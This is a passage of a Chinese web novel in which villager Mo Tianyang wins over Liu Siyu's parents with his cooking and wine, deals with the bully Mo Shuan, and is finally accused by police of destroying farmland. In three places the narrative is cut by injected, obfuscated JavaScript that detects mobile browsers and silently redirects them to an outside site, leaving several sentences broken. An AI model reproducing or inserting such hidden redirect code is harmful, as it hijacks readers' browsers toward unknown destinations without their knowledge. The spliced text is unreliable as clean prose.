莫天扬淡淡一笑，神色平静：“思雨家境不错。换了哪个父母，看到自己闺女工作的环境是咱们村现在这副光景，心里都不会舒坦。将心比心罢了。” 陈峰闻言，不由得叹了口气，环顾着四周：“唉，说到底，还是咱们青木村……太苦了。” “峰叔，”莫天扬岔开话题，“咱们的山货还有存货吗？中午叔叔阿姨八成会留下吃饭，我去弄点新鲜菜，您帮忙张罗些山货。” “有，都留着呢，都是挑好的。”陈峰点头应道，“就是鱼蟹……” “鱼蟹交给我，我去池塘弄点新鲜的。”莫天扬说着，转身朝池塘方向走去。 近些天，菜地不复往日的繁忙热闹，颜若曦便把直播阵地转移到了风景宜人的池塘边。她刚结束一场直播，看到莫天扬走来，便收起手机迎了上去。 “天扬，有事？” 莫天扬摆摆手：“刘思雨父母来了，中午估计得招待一下，我来弄点鱼蟹。你怎么下播了？” “播了一个多小时，观众都赶着上班去了。”颜若曦解释道，随即眨眨眼，“要我过去跟思雨爸妈聊会儿？帮你说点好话……” 莫天扬失笑：“你觉得人家现在对我印象能好？今儿就是来兴师问罪的。” “是因为那个林浩宇的事儿？”颜若曦立刻猜到了。 莫天扬点点头：“你过去打个招呼就行，不用多说什么。要是感觉气氛不对，就赶紧出来。她妈妈……挺强势的。” 颜若曦俏皮地吐了吐舌头：“那我还是先等等吧。我看你捞鱼！”语气里带着点小小的任性。 “这有什么好看的……”莫天扬无奈。 “要你管！”颜若曦轻哼一声，背着手、俏生生跟在他身后。 莫天扬哈哈一笑，也不在意，拿起放在池塘边的大抄网，先去菜地摘了些鲜嫩的菜叶。趁着颜若曦不注意的间隙，他在菜叶上悄悄淋了几滴灵泉水。 两人沿着狭窄的塘边小径走到深水区。颜若曦悄悄拿出手机，对着莫天扬专注的背影按下了拍摄键。 莫天扬将一大把沾着灵泉水的菜叶撒向水面。不过短短几个呼吸，原本平静如镜的池水瞬间沸腾起来！水花翻涌，无数大鱼争先恐后地聚拢抢食，鱼头攒动，场面蔚为壮观。饶是经常在塘边直播的颜若曦，也被这突如其来的景象惊得张大了嘴巴。 莫天扬稳稳端着抄网，目光扫过翻腾的水面，笑着问身后的女孩：“想吃什么鱼？今天你点。” 颜若曦回过神来，促狭地笑道：“这可是你表现的机会！思雨爸妈是贵客，当然得弄点好的……就黄磷吧！够排面！” “我表现什么啊……”莫天扬苦笑，“你是没见着刚才那阵仗，差点被训成孙子。” 颜若曦刚想追问，只见莫天扬手腕一抖，抄网快如闪电般没入水中。再提起时，网兜里赫然多了一条金光闪闪、足有四斤重的鲜活黄磷！ “哇！这么大！你真舍得？”颜若曦惊呼。 “这时候黄磷卵也产完了，在水里的任务完成啦，”莫天扬掂了掂沉甸甸的鱼，笑道，“该轮到我尝尝它的鲜美身子了。” “呸！歪理！你个无赖！”颜若曦啐道，脸上却带着笑意。 莫天扬又利落地捞了两条肥硕的黄磷，接着去浅水区弄了些金膏蟹和鬼面蟹，收获满满这才收手。 “你是跟我回去，还是……”莫天扬提着沉甸甸的渔获问道。 颜若曦想了想：“先回去看看吧。”两人并肩往回走。 走出几十米，颜若曦忽然停下脚步，深吸了一口气，看向莫天扬，语气认真起来：“天扬，有件事跟你商量下。菜地那边能拍的素材，感觉有点饱和了，观众新鲜感在下降。你看……” “想家了？”莫天扬故意逗她。 颜若曦没好气地给了他一个大大的白眼：“怎么？嫌我白吃白住啦？想赶我走？” 莫天扬哈哈大笑：“哪能啊！那你意思是……” “我是想，”颜若曦眼睛亮晶晶的，“现在不是开始酿屠苏酒了吗？虽然没人知道咱们酿的是什么宝贝，但网上绝大多数人压根没见过传统手工酿酒的过程！这绝对是个新鲜又有看点的题材！我打算去酒坊那边拍点酿酒的工序……” 她顿了一下，语气变得谨慎，“不过我也知道，屠苏是古方秘酿，不能泄露核心。所以……” “这个想法不错！”莫天扬爽快应允，“酿酒的步骤嘛，各家大同小异，关键在方子。你拍的只是工序流程，又不是全程盯着秘方拍，连酒坊里的老师傅都未必能看出门道，没事儿。” 他想了想，补充道，“不过你过去拍之前，得跟他们打个招呼，顺便提醒大伙儿一声，让他们把衣服穿得整齐点，精神点，别到时候因为他们你直播间被封了！” 颜若曦被逗得咯咯直笑，抬手在莫天扬肩头不轻不重地捶了一下：“你就瞎说吧你！” 回到临时搭建的帐篷区，颜若曦很识趣地没有去会客室凑热闹，而是和曹慧她们一起忙活起来，洗菜、摘菜，为午餐做准备。 很快，一道道香气扑鼻、色泽诱人的菜肴被端进了宽敞的餐厅。诱人的香味弥漫开来，引得众人食指大动。莫天扬看向颜若曦：“若曦，麻烦你去请叔叔阿姨他们过来吧。” 这时，胡标、曹勇等几位村里的长辈也回来了，知道刘思雨的父母在此。胡标眼神闪烁了几下，带着点局促，低声对莫天扬说：“天扬，要不……你们年轻人陪着吃就行？我们就在外面随便吃点。人家是城里来的贵人，我们这些老粗过去，怕是……” “标叔，”莫天扬打断他，语气温和却不容置疑，“他们如果真心是为了思雨好，想了解她工作生活的地方，就不会在意这些。走吧，一起，这才像咱们青木村待客的样子。” 当颜若曦和刘思雨陪着刘成祥、杨丽走进餐厅时，夫妻俩的目光瞬间就被满满当当的餐桌吸引住了，脸上满是错愕。更让他们惊讶的是，餐厅里除了莫天扬和他爷爷莫啸，胡标、陈峰、曹勇等几位刚才在工地见过的村民也赫然在座！ 他们从女儿口中得知，莫天扬只有爷孙两人，其他人都是雇工，包吃住。原本想象中，工人们吃的无非是大锅烩菜、粗茶淡饭。可眼前的景象彻底颠覆了他们的认知！ 三张桌子上摆放的菜肴，竟然一模一样！山珍野味、上一次女儿带回的鱼蟹、碧绿的时蔬……刘成祥和杨丽家境殷实，一眼就看出这些食材的档次。 他们心里估算着，这样一桌菜放在浅驼县的高档饭店，没个几千块根本下不来！可现在，莫天扬竟然用这样的规格来招待给他干活的工人？这种闻所未闻的事情，让他们内心受到了极大的冲击。 落座时，杨丽的目光落在莫天扬身边那位普通再普通不过的莫啸身上，主动问道：“小莫，这位就是……你爷爷吧？” 在莫天扬点头确认后，令人意想不到的一幕发生了。刘成祥率先起身，杨丽也紧跟着站了起来，两人竟恭敬地向莫啸问好：“莫叔好！” 这突如其来的礼遇，让莫天扬心头一震，不由得看向刘思雨。**女儿究竟跟父母说了些什么，竟能让之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168885|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前对他厌恶至极的杨丽，态度发生如此翻天覆地的变化。 “天扬，倒酒。”莫啸平静地吩咐。 莫天扬应声抱起一坛贴着红纸的屠苏酒。刘成祥和杨丽又是一愣，连忙摆手：“小莫，使不得！我们下午还得赶回城，酒就不喝了……” “爸，妈！”刘思雨连忙笑着劝阻，“这可是天扬自己酿的绝传古酒，味道比茅台还好呢！少尝一点不碍事的。” 莫天扬也微笑着接口：“刘叔、杨阿姨放心，等会儿我安排车送您们回去，保证安全到家。这酒，是我们的一点心意，您们难得来一趟，尝尝鲜。” 杨丽闻言，竟展颜一笑，语气轻松了不少：“行，听你们的！那我们可就放心喝了。刚才就听思雨念叨你自己开了酒坊，我们正好尝尝！要是真像她说的那么好，回头阿姨给你介绍朋友！”她此刻的态度，与初来时判若两人。 当酒坛的泥封被拍开，一股难以形容的、醇厚馥郁的奇异酒香瞬间喷薄而出！刘成祥和杨丽几乎是同时身体一僵，猛地看向身边的女儿刘思雨，眼神里充满了难以置信的骇然！ “这酒……”刘成祥的声音都有些发颤。 刘思雨得意地咯咯一笑：“怎么样，没骗你们吧？刚才就说了比茅台还好！至于推荐？爸、妈，你们晚啦！他的朋友们早就把这酒预定光了，想买都买不到呢！” 每一道菜，都选用了最顶级的食材，再经由莫天扬那连王传林等行家都赞叹不已的精湛厨艺烹制，色香味俱是极品。再配上这稀世罕有的屠苏古酒…… 刘成祥和杨丽只是浅尝了一口酒，夹了一箸菜送入口中，两人瞬间就沉默了。接下来的十几分钟里，他们几乎忘记了说话，全副心神都沉浸在味蕾带来的极致享受中。直到又喝了一口醇厚的屠苏，才意犹未尽地放下筷子。 此刻，杨丽再看向莫天扬的眼神，已经彻底变了。那是一种发自内心的欣赏和赞许，再无半分轻视。 “天扬，”杨丽的声音带着感慨，甚至有一丝不易察觉的惭愧，“我们两口子虽然住在城里，见识过不少场面，今天才算是开了眼，知道自己以前太孤陋寡闻了！是我们小瞧了农村，更小瞧了你！” 她顿了顿，语气真诚，“你有文化，有见识，这手厨艺、这酿酒的本事、还有种菜的技术，随便拿出一样，在城里都能混得风生水起！阿姨现在真的很好奇，你……为什么甘愿留在村里呢？” 莫天扬闻言，微微叹息一声，目光温柔地看向身旁静静聆听的爷爷莫啸：“杨阿姨，我爷爷年纪大了。他在青木村生活了一辈子，根在这里，心也在这里，不愿意离开这片熟悉的土地。” 他的声音低沉下来，带着深深的眷恋，“而我，从小在这里长大，喝着古井水泉，踩着泥土，对这片生我养我的村子，也有着割舍不下的感情。” 他环视了一下在座的胡标、陈峰等乡亲，眼神坚定：“我不想看着祖祖辈辈生活的地方就这么消失，更不忍心看着曾经帮助过我们爷俩、一起熬过苦日子的乡亲们，连个像样的家都保不住。” 他停顿了一下，望向窗外广阔的田野，声音里带着一种通透的豁达：“外面的世界确实繁华热闹，机会也多。可哪里没有钩心斗角，没有名利纷争？倒不如留在这青山绿水间，种点菜，养点鱼，酿点酒，自由自在，守着本心，也守着该守的人和地方。这日子，踏实。” 莫天扬这一番话下来，别说是刘成祥、杨丽、颜若曦、刘思雨四个，就是莫啸、胡标这些人也沉默下来，每一个人的神情都很是复杂，他们都在品味莫天扬这一番话中的道理。 第一百二十七章征服？ 午饭过后，虽然喝了不少屠苏酒，但刘成祥和杨丽夫妻俩非但没有睡意，反而精神头十足，兴致勃勃地跟着女儿刘思雨和颜若曦去参观菜地。 刚走出几步，颜若曦忽然想起什么，又折返回来，拉住莫天扬的胳膊，压低声音，带着点撒娇的意味：“喂，能不能……想办法弄点血瓜瓜回来？叔叔阿姨难得来一次……” 莫天扬微微一愣，随即点头：“行，我去山里碰碰运气。” 看着刘思雨父母在菜地里饶有兴致地东看西问，满脸都是新奇和满足的笑容，大家也都放下心来，各自去忙手头的活了。莫天扬则带着通体雪白、矫健灵动的狼王“小白”，身影很快消失在通往青木山深处的小径上。 日头渐渐西斜，金色的阳光给田野镀上了一层温暖的色彩。就在这时，一声清越悠长的狼啸声从山林方向远远传来，穿透了傍晚的宁静！ 刹那间，菜地旁的空地上，原本慵懒趴伏的“大青”猛地昂起头颅，喉咙里发出一声低沉有力的应和！紧接着，它身边那群半大的小青狼们也此起彼伏地发出了稚嫩却充满野性的嗥叫，汇成一片独特的山林交响。 正在帐篷下悠闲吃着瓜、品着茶的刘成祥和杨丽，被这突如其来的狼啸惊得脸色微变。下午他们已经见识过“大青”和它那群半大狼崽的威势，深知这些都是纯正的野生青狼！只因为莫天扬曾经救过它们，才甘愿留在这里守护报恩。这阵仗，莫非是山上的狼群要下来了？ “思雨，这……这是山里的青狼要下山了？”杨丽有些紧张地抓住女儿的手。 刘思雨还没答话，旁边的颜若曦就咯咯笑了起来，一脸轻松：“阿姨别担心！刚才那声是小白！它在报信呢，肯定是天扬回来了！” 话音未落，陈宏利、李国强等几个年轻力壮的小伙子已经站起身：“我们去接天扬哥！” 十几分钟后，陈宏利他们回来了。令人惊讶的是，每个人肩上都扛着、手里提着沉甸甸的东西！刘成祥和杨丽看得目瞪口呆——这才进山几个小时？莫天扬一个人（加上小白）怎么可能弄到这么多东西？而且其中明显有不少是新鲜的野味！ 随着陈宏利、李国强他们将几个鼓鼓囊囊的袋子放在地上解开，刘成祥夫妻更是瞪大了眼睛：七八只肥硕的野兔、六七只羽毛鲜艳的山鸡、一只体型不小的黄羊（估计有七八十斤重）……更有一个袋子里散发出一种他们从未闻过的、清甜馥郁到极致的奇异果香！ “小莫！这……这么多东西，你是怎么弄到的？！”刘成祥忍不住惊叹。 颜若曦在一旁笑着揭秘：“叔叔阿姨，青木山里的狼群，好多都认识他！这些野味啊，多半是狼群帮他围猎驱赶过来的！” “天哪！这么厉害？！”杨丽掩着嘴，满脸的不可思议。 莫天扬只是淡淡一笑，对陈宏利他们吩咐道：“辉哥、宏利，辛苦你们赶紧把这些野味收拾干净。挑些好的，等会给刘叔、杨阿姨带回去尝尝鲜。” “血瓜瓜呢？找到没？”颜若曦迫不及待地问，这才是她最关心的。 莫天扬脸上露出笑容，拍了拍其中一个散发着甜香的袋子：“运气不错！在青木山深处找到了一片，摘了几十个。给刘叔、阿姨多留些，剩下的都洗了，让大家都尝尝这山里的稀罕物！” 当清洗干净、表皮墨绿如秤砣般的“丑瓜”——血瓜瓜被切开，露出那红宝石般晶莹剔透的果肉时，刘成祥和杨丽迫不及待地尝了一口。瞬间，那难以形容的、**般的清甜和独特香气在口腔中弥漫开来，两人眼睛都直了！他们做梦也想不到，外表如此其貌不扬的瓜，味道竟能如此惊艳逆天！ “若曦，这……这瓜怎么在你们院子里没见到种啊？”杨丽一边回味着那美妙滋味，一边好奇地问。 “阿姨，这叫血瓜瓜，是青木山深处独有的野果！”颜若曦解释道，“以前村里人也试着挖种子回来种，可奇怪得很，秧苗长得挺好，就是不结果子，或者结出来的又小又涩！天扬不信邪，现在正用他的法子做实验呢，要是成功了，明年咱们就能自己种了！” 吃着甜入心脾的血瓜瓜，杨丽惬意地环顾四周。这时，几辆满载沙土的重型卡车轰鸣着驶离村子，卷起一路烟尘。杨丽下意识地皱了皱眉，带着一丝城里人的担忧：“思雨、若曦，这晚上……你们可得把门窗都锁好，注意安全啊。” 刘思雨闻言，忍不住咯咯笑出声来，她抬手指向不远处——只见“大青”正威风凛凛地带着那群半大的小青狼进行着某种“训练”，眼神锐利，姿态矫健。 “妈，您就放一百个心吧！”刘思雨语气轻松又带着点小得意，“您看‘大青’它们，就住在我们隔壁呢！哪个不开眼的**贼敢在它们的眼皮子底下搞事情？那真是嫌命太长了！” “那……它们不会伤害你们？”杨丽还是有些顾虑。 “不会的！”颜若曦接口道，“这里的人它们都认识，是朋友。晚上我们要是出去，它们还会悄悄跟在后面护送呢，比保镖还贴心！” 正说着，曹慧笑着走过来：“思雨，天扬让我问问叔叔阿姨，晚上想吃点什么？他好安排。” 杨丽一听，连忙摆手，脸上露出既满足又有点不好意思的笑容：“哎哟，可千万别安排了！下午这嘴啊，就没停过！从瓜果到野味，再到这神仙般的血瓜瓜……现在肚子还撑得圆滚滚的，真是一点都吃不下了！”她摸着肚子，满足地叹了口气。 “那要不……炖个蘑菇汤？”莫天扬的声音从灶台那边传来，“中午光顾着做菜了，连个汤都没来得及弄。” 杨丽刚想摆手说实在吃不下，刘思雨却轻轻拉住母亲的手，笑着对曹慧应道：“好啊！炖个汤正好，清爽解腻。” 杨丽略带疑惑地看向女儿。刘思雨凑近母亲耳边，压低声音，带着点小得意：“妈，就是上次我带回家的那种雪灵菇或者紫皇菇！莫爷爷说，在过去，雪灵菇一斤能值一两银子呢！至于紫皇菇，连老猎人都很少见着，那可是有钱都难买到的宝贝！” “真的这么稀罕？”杨丽惊讶地睁大了眼睛。 刘思雨看了眼旁边的颜若曦，解释道：“在别人眼里，它们确实珍贵无比，值大价钱。可在莫天扬这儿……”她顿了顿，语气带着一丝感慨，“不过是日常炖汤的食材罢了。” “这是为什么？”杨丽更不解了，看向女儿，“小莫现在正是创业发展需要用钱的时候，这么值钱的山货拿出去卖，不是能解决不少问题吗？” 颜若曦闻言，轻轻叹息一声，接过了话头：“阿姨，青木山的情况，只有我们这些生活在山脚下的人才真正了解。听莫爷爷讲，就算是‘大青’它们这样的青狼，也只能在山的外围活动，深处藏着很多凶猛的野兽，危险重重。” 她的语气变得认真，“莫天扬是担心，一旦让外人知道山里遍地是宝，肯定会有人铤而走险去采挖、打猎， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大家忍不住都探头看去。只见大盆里，一张张馅饼叠放着，每一张都烙得两面金黄焦脆，薄薄的面皮几乎要兜不住里面饱满的馅料，滋滋地冒着诱人的油星！馅饼很普通，可这香味……却让人食指大动！ “大家伙先吃着，锅里还有呢！”曹慧放下盆，笑着又出去了。 “莫爷爷，您先尝尝！”刘思雨恭敬地给莫啸夹了一张放在碗里，又赶忙给父母各夹了一张。颜若曦则笑着自己动手：“我自己来，自己来！” 一口咬下去，酥脆的外皮“咔嚓”轻响，滚烫鲜美的肉汁混合着焦香的面香瞬间在口中爆开！皮薄得几乎透明，馅料饱满得惊人，却神奇地没有一丝油腻感，只有纯粹的肉香、面香和不知名调料的完美融合。那极致的美味让所有人都不由自主地眯起了眼睛，满足地摇头晃脑，根本停不下咀嚼的动作，只想立刻再来一口！ 十几分钟后，刘成祥放下筷子，看向刚走进来的莫天扬，脸上满是叹服，甚至带着点拜师的渴望：“天扬啊！你这厨艺……真是神了！这馅饼，绝对是我这辈子吃过最香、最绝的！没有之一！”他转头看向妻子，半开玩笑半认真地说，“能不能……教教你杨阿姨？让她也学个一招半式？以后家里来个客人，她也能露一手，显摆显摆！” 莫天扬被逗得哈哈大笑，爽快应道：“刘叔，这没问题！包教包会！不过，”他挠挠头，带着年轻人的坦诚，“说实话，我这手艺还不及我爷爷呢！这几天我再琢磨琢磨，把方子弄得更稳妥些。等下次您和杨阿姨有空过来，多住几天，到时候我教阿姨！” 第一百二十八章事情闹大了 一碗看似寻常的蘑菇地皮菜汤，几张家常馅饼，对普通人家而言再普通不过。然而，这顿简单的晚餐，却让生活优渥的刘成祥和杨丽吃得格外投入，甚至有些不顾形象，那份满足感写在脸上。 莫天扬将准备好的野味山货放进车子后备箱，对**辉说道：“辉哥，麻烦你开车送一下叔叔阿姨。” 刘思雨眼眸闪动，连忙接口：“天扬，我也正好有段时间没回家了，我跟车回去就行，就不用麻烦辉哥特意跑一趟了。” 莫天扬摇摇头，语气温和却带着不容置疑的关切：“思雨，这段山路太偏僻了，以前还出过拦路**的事。你们三个人，万一遇到点情况不安全。辉哥正好也要去海哥家那边看看，顺路，让他送你们，我放心。”他知道**辉他们三人的底细，有他们在，路上才能万无一失。 刘思雨虽然不完全清楚**辉三人的具体来历，但也知道他们是莫天扬特意请来的退役人员，身手不凡。此刻莫天扬如此细致地为她和父母的安全考虑，这份心意让她心头暖流涌动。一旁的刘成祥和杨丽也深受触动，看向莫天扬的眼神里又多了一层深意。 目送刘思雨一家离开，众人也收拾停当，陆续回家。莫天扬看向身边的颜若曦，温声道：“今天辛苦你了，忙活了一天，回去好好洗个热水澡，早点休息吧。” 颜若曦却佯装不满地瞪了他一眼，半嗔半怪道：“哼！你这个用人朝前、不用人朝后的家伙！我们帮你解决了叔叔阿姨对你的成见，现在用完了，就急着打发我走啦？” 莫天扬苦笑着摇头：“思雨的母亲不过是性格强势、有点势利眼罢了。他们，算不得什么真正的麻烦。”他的神色渐渐凝重起来，“真正的麻烦，是那个林浩宇。” 颜若曦敏锐地捕捉到他语气中的变化，杏目微挑：“你……怕了？” “怕？”莫天扬嘴角勾起一抹冷峭的弧度，眼神却锐利如刀，“我身无长物，有什么可怕的？我怕的是林浩宇那种纨绔子弟，为达目的不择手段的下作伎俩！我怕的是……他会因为我，迁怒于你们这些帮我的人！”这才是他心底最深的忧虑。 “你……”颜若曦心头一震。 莫天扬收敛起锋芒，语气恢复平静，却带着一种令人安心的力量：“放心，只要我在，就不会让任何人伤害到你们。去吧，累了一天，好好睡一觉。我去酒坊那边再看看。”说完，他转身，身影融入渐浓的夜色。 颜若曦站在原地，望着莫天扬挺拔而坚定的背影消失在通往酒坊的小路尽头，神情变得异常复杂。这一刻，她从这个年轻男子身上，清晰地感受到了一种超越年龄的、令人心折的坚韧与沉静的自信，那是她在其他男子身上从未见过的光芒。 …… 这天，酒坊里蒸腾着酒香和忙碌的气息。曹勇脚步匆匆地找到正在查看酒醅的莫天扬，脸色难看：“天扬，出事了！莫栓那个混账，把王艾和黄日贵给打了！” 莫天扬手中动作一顿，眉头瞬间拧紧：“怎么回事？慢慢说。” “还不是莫栓想回来种菜那档子破事！”曹勇愤愤道，“王艾和黄日贵两家不是共用村西头那口老水井吗？莫栓那狗东西看上了那口井！他那副德行，狗见了都绕道走，两家哪肯把井给他用？结果他就带着他那帮狐朋**，把王艾和黄日贵给打了！连闻讯赶回去的王玉虎，也挨了他们的揍！” “这**，也就这点欺软怕硬的本事了。”莫天扬冷哼一声，“他连块像样的沙地都还没弄到手，要那水井干什么？” “怪就怪在这儿！”曹勇压低了声音，“听说他不知走了什么门路，这几天竟然真包下了一百多亩沙地！” “多少钱包的？”莫天扬追问。 “一亩八十块，只付了一年的钱！具体包了几年，谁也不知道，神神秘秘的。” 莫天扬无奈地摇摇头：“真不知道那些人是糊涂还是胆大，还敢把地包给莫栓这种**。” “唉，谁愿意跟他打交道？”曹勇叹道，“可架不住人家有个‘好’姐夫啊！别说咱们青木村了，十里八乡的，除了你，谁敢收拾他？”他顿了顿，试探着问，“天扬，咱们……要不要过去看看？王艾他们被打得不轻。” 莫天扬深吸一口气，眼神沉静如水，缓缓摇头：“勇叔，这事目前看就是普通的邻里**、打架斗殴。我们过去，顶多是调解。但您别忘了我和莫栓的关系，我若现身，场面只会更僵，搞不好就成了火上浇油，直接打起来。这或许……正是莫栓想看到的局面。” “可难道就看着他这么欺负村里人？”曹勇握紧了拳头，心有不甘。 “这种事，最终还得靠村里人自己站出来。”莫天扬的声音带着一种穿透力，“安云飞的确是莫栓最大的靠山，可他还真能一手遮天不成？像这种恶性伤人事件，完全可以往大了闹！直接捅到上面去！把事情闹大，闹到捂不住盖子的时候，就算是安云飞，也得掂量掂量，他也未必兜得住！” “行，我知道了。我这就去找胡标，让他过去看看情况。”曹勇点点头，转身匆匆离开。 一旁的莫红兵却皱紧了眉头，脸上带着愤愤不平：“天扬，咱怕他莫栓个球！你不好直接出面，我们兄弟几个过去！王玉虎那小子虽然比咱们大几岁，但为人仗义，对咱们也不错，不能看着他白挨打！” 莫天扬摇摇头，神色冷静：“红兵，莫栓背后杵着安云飞这尊‘大佛’。咱们呢？一旦动了手，性质就变成聚众斗殴了。到时候安云飞稍微动动关系，莫栓可能屁事没有，你们几个至少得进去蹲十天半个月的号子，划不来。” 说完，他眼中精光一闪，似乎想到了什么，对莫红兵道：“这样，红兵，你马上给王玉虎打个电话，让他主动点，把水井租给莫栓。” “租给他？”莫红兵瞪大了眼睛，以为自己听错了。 “对，租给他。”莫天扬语气笃定，“别多要，一年象征性地收个三五千就行。记住，只是租井，井的所有权、维护、水源干不干净、够不够他用，一概不管！合同上写清楚，只提供取水通道。” 莫红兵虽然还有点懵，但对莫天扬的判断一向信服，立刻点头：“好嘞！我这就打！” 约莫一个小时后，身材魁梧的王玉虎走进了酒坊。莫天扬抬眼看去，只见他脸上还带着几处明显的青紫肿胀。 “虎哥，你没事吧？”莫天扬关切地问。 王玉虎咧了咧嘴，牵扯到伤处，疼得吸了口气：“没事，皮外伤！按你说的，井租给莫栓那王八蛋了，一年四千五。他还赔了我一千五的医 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16184673|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 药费，算他识相点。”他语气里带着点憋屈，但也有一丝任务完成的释然。 莫天扬走过去拍了拍他的肩膀，沉声道：“这就对了。对付这种疯狗，能躲就躲，实在躲不开，也没必要拿鸡蛋去碰石头。那口井闲着也是闲着，既然他想要，就租给他。反正……”他嘴角勾起一抹意味深长的弧度，“他也用不了多久。” 这模棱两可、仿佛预言般的话，让酒坊里的胡振南、曹克雄等人面面相觑，都是一头雾水，完全不明白莫栓租了井怎么会“用不了多久”。 “虎哥，你这伤……”莫红兵看着王玉虎脸上的淤青，还是有些愤愤。 “嗨，真没事！”王玉虎摆摆手，故作轻松，“就当被疯狗挠了几下！过两天就好了。” “没事就好。”莫天扬点点头，“你们忙，我去菜地转转。” 在菜地里巡视了一圈，莫天扬回到帐篷区。他习惯性地抬眼望向远处那片被疯狂挖掘过的沙地，眉头却微微蹙起：“嗯？那边今天……怎么一点动静都没有了？” 旁边正在整理工具的陈峰接口道：“是啊，从早上到现在，一辆拉沙的车都没见着。估计……是沙子都挖光了吧？再挖，怕是要挖到咱们的地界了。” 莫天扬心头微微一动，脸上露出一丝不易察觉的淡笑：“或许吧。标叔，让宏利他们几个多盯着点，别让那些人越界，挖了咱们的沙地。” 就在莫天扬准备回屋时，眼角的余光瞥见一辆熟悉的红色轿车沿着村道疾驰而来，稳稳停在帐篷外。他微微一愣——这个时间点，刘思雨通常还在大队部忙工作，怎么会突然回来？ 他停下脚步，看向推门下车的刘思雨。只见她脸上洋溢着抑制不住的兴奋，快步朝这边走来，那神情比捡了宝贝还开心。 “这么开心？”莫天扬迎上去，笑着打趣道，“捡到金元宝了？还是有什么天大的好消息？” 刘思雨抑制不住地咯咯笑出声，眼睛亮晶晶的：“还真让你说对了！天大的好消息！我刚从乡里同事那儿听到的——三条涧那边，洗沙淘金的工地，全面停工了！” 莫天扬闻言，只是淡淡一笑，仿佛早有预料。但旁边的陈峰、曹建华等人却猛地瞪大了眼睛，几乎异口同声：“停工了？难怪今天没车！到底怎么回事？” “就是啊！”刘思雨兴奋地解释道，“这都折腾快一个月了，拉回去的沙土堆成了山，结果洗出来的金沙加起来还不到二十克！连给工人开工资的零头都不够！那些承包的老板急红了眼，非说是工人手脚不干净，私吞了金子，直接报了警！” 她顿了顿，声音里带着一丝解气的快意：“结果这事儿闹大了，直接捅到了沛川市里！市里的领导一了解情况，火冒三丈！这哪里是淘金？这分明是在破坏国家的基本农田，是触犯刑法的严重行为！市里已经火速派下了专门的调查组！现在那边乱成一锅粥了！” “调查组说了，如果最后查实工人没有私吞金沙，那这些老板不仅要赔得倾家荡产，还得面临重罚！搞不好就得进去蹲大牢！”刘思雨的语气斩钉截铁。 莫天扬听完，终于忍不住朗声大笑起来，笑声中充满了畅快和讽刺：“哈哈哈！好！这叫什么？这就叫——搬起石头，狠狠砸了自己的脚！活该！” 第一百二十九章再见楚婧雅 破坏基本农田、违规挖沙淘金的风波，短时间内不仅传遍了青木村，连邻近的浅驼、沛川都沸沸扬扬。 陈峰、胡标等人不由得松了口气。至少，莫天扬的沙地保住了，他们也不必再忍受运沙车日夜往来卷起的漫天尘土。 然而，那些被雇去挖沙的村民却愁云惨淡。近一个月来，他们为了每天六十块钱起早贪黑，眼看就要结算工钱，老板们却被查处，辛苦钱眼看就要打了水漂，个个叫苦连天。 莫天扬却是人逢喜事精神爽。他原以为事情还得拖上几个月，没成想自己的预判竟提前应验。他立刻招呼陈峰准备食材，打算亲自下厨，中午好好庆祝一番。 就在这时，一阵尖锐的警笛声由远及近，打破了村庄的宁静。莫天扬眉头微蹙——青木村地处偏僻，若非大事，鲜有警车光顾。 抬眼望向村口大路，一辆警车闯入视野。莫天扬心头猛地一跳：车子竟朝着他家的方向驶来？他暗自疑惑。 警车停下，身着制服的执法人员鱼贯而下。闻声而来的村民也聚拢过来看热闹。“天扬，这是冲你来的？”有人低声问。 莫天扬眼神闪烁，下意识瞥了眼远处已停工的沙地：“兴许是来查封那些挖沙器械的吧。” 他刚转回头，瞳孔骤然一缩——那是一位女警，身姿挺拔，制服勾勒出玲珑曲线，更令人屏息的是她那张精致绝伦的脸庞。 “好美……”曹慧忍不住低呼。旁边的曹建华也连连点头：“这闺女真俊，跟画上的仙女似的。” 楚婧雅！ 莫天扬心头一紧，几乎是本能地低下头，试图避开她的视线——他可不想在这种场合被认出来。 然而，楚婧雅的目光已经锁定了他。虽然只见过两次，但楚婧雅对这个身影印象颇深。她一直推测莫天扬是沛川郊区的农民工，万万没想到会在青木村再次相遇，而且是在这样的情境下。 更让莫天扬愕然的是，楚婧雅并未带人前往沙地，而是径直走向他的帐篷。此时，院里的颜若曦听到动静也走了出来。 “谁是莫天扬？”楚婧雅的声音冰冷清晰，带着不容置疑的威严，让莫天扬的心瞬间沉了下去。 他深吸一口气，强压下心头的荒谬感，抬起头，脸上带着一丝错愕的尴尬：“我就是。” 楚婧雅明显一怔，随即眉头紧锁，语气更加严厉：“莫天扬，我们接到举报，你涉嫌破坏基本农田、违规挖沙。现在，请你跟我们走一趟配合调查！” 此言一出，全场哗然！莫天扬更是如遭雷击，眼睛瞪得溜圆——他设想过无数种可能，唯独没料到这把火，竟会以“破坏农田”的罪名烧到自己头上！ 